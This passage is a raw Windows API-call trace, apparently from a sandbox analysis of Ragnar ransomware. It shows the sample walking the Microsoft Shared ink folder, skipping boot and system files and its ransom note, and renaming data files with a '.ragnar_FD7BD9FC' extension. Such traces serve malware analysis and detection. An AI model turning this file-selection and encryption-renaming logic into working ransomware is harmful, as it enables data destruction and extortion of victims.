lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.571] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrcommonlm.dat" | out: lpString1="hwrcommonlm.dat") returned="hwrcommonlm.dat" [0058.571] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned=".dat" [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="autorun.inf") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="boot.ini") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootfont.bin") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootsect.bak") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootmgr") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootmgr.efi") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootmgfw.efi") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="desktop.ini") returned 1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="iconcache.db") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ntldr") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ntuser.dat") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ntuser.dat.log") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ntuser.ini") returned -1 [0058.571] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="thumbs.db") returned -1 [0058.571] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.571] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.571] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.572] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.572] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.572] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.572] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0058.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.572] CloseHandle (hObject=0xffffffff) returned 0 [0058.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" [0058.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.ragnar_FD7BD9FC" [0058.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x7429b640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7429b640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0058.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0058.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.572] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrenalm.dat" | out: lpString1="hwrenalm.dat") returned="hwrenalm.dat" [0058.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned=".dat" [0058.572] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.572] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="autorun.inf") returned 1 [0058.572] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="boot.ini") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootfont.bin") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootsect.bak") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootmgr") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootmgr.efi") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootmgfw.efi") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="desktop.ini") returned 1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="iconcache.db") returned -1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ntldr") returned -1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ntuser.dat") returned -1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ntuser.dat.log") returned -1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ntuser.ini") returned -1 [0058.573] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="thumbs.db") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.573] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0058.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.724] CloseHandle (hObject=0xffffffff) returned 0 [0058.724] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" [0058.724] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.ragnar_FD7BD9FC" [0058.724] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.724] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0058.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.724] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrenclm.dat" | out: lpString1="hwrenclm.dat") returned="hwrenclm.dat" [0058.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned=".dat" [0058.724] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.724] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="autorun.inf") returned 1 [0058.724] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="boot.ini") returned 1 [0058.724] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootfont.bin") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootsect.bak") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootmgr") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootmgr.efi") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="bootmgfw.efi") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="desktop.ini") returned 1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="iconcache.db") returned -1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ntldr") returned -1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ntuser.dat") returned -1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ntuser.dat.log") returned -1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="ntuser.ini") returned -1 [0058.725] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="thumbs.db") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.725] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0058.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.725] CloseHandle (hObject=0xffffffff) returned 0 [0058.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" [0058.726] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.ragnar_FD7BD9FC" [0058.726] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0058.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwrlatinlm.dat" | out: lpString1="hwrlatinlm.dat") returned="hwrlatinlm.dat" [0058.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned=".dat" [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="autorun.inf") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="boot.ini") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootfont.bin") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootsect.bak") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootmgr") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootmgr.efi") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="bootmgfw.efi") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="desktop.ini") returned 1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="iconcache.db") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ntldr") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ntuser.dat") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ntuser.dat.log") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="ntuser.ini") returned -1 [0058.726] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="thumbs.db") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.726] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0058.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.727] CloseHandle (hObject=0xffffffff) returned 0 [0058.727] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" [0058.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.ragnar_FD7BD9FC" [0058.727] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.727] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0058.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.727] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwruklm.dat" | out: lpString1="hwruklm.dat") returned="hwruklm.dat" [0058.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned=".dat" [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="autorun.inf") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="boot.ini") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootfont.bin") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootsect.bak") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootmgr") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootmgr.efi") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootmgfw.efi") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="desktop.ini") returned 1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="iconcache.db") returned -1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ntldr") returned -1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ntuser.dat") returned -1 [0058.727] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ntuser.dat.log") returned -1 [0058.728] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ntuser.ini") returned -1 [0058.728] lstrcmpiW (lpString1="hwruklm.dat", lpString2="thumbs.db") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.728] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0058.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.737] CloseHandle (hObject=0xffffffff) returned 0 [0058.737] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" [0058.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.ragnar_FD7BD9FC" [0058.737] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.738] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0058.738] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.738] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hwruksh.dat" | out: lpString1="hwruksh.dat") returned="hwruksh.dat" [0058.738] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned=".dat" [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="autorun.inf") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="boot.ini") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootfont.bin") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootsect.bak") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootmgr") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootmgr.efi") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="bootmgfw.efi") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="desktop.ini") returned 1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="iconcache.db") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ntldr") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ntuser.dat") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ntuser.dat.log") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="ntuser.ini") returned -1 [0058.738] lstrcmpiW (lpString1="hwruksh.dat", lpString2="thumbs.db") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".db") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".lnk") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".drv") returned -1 [0058.738] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0058.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: 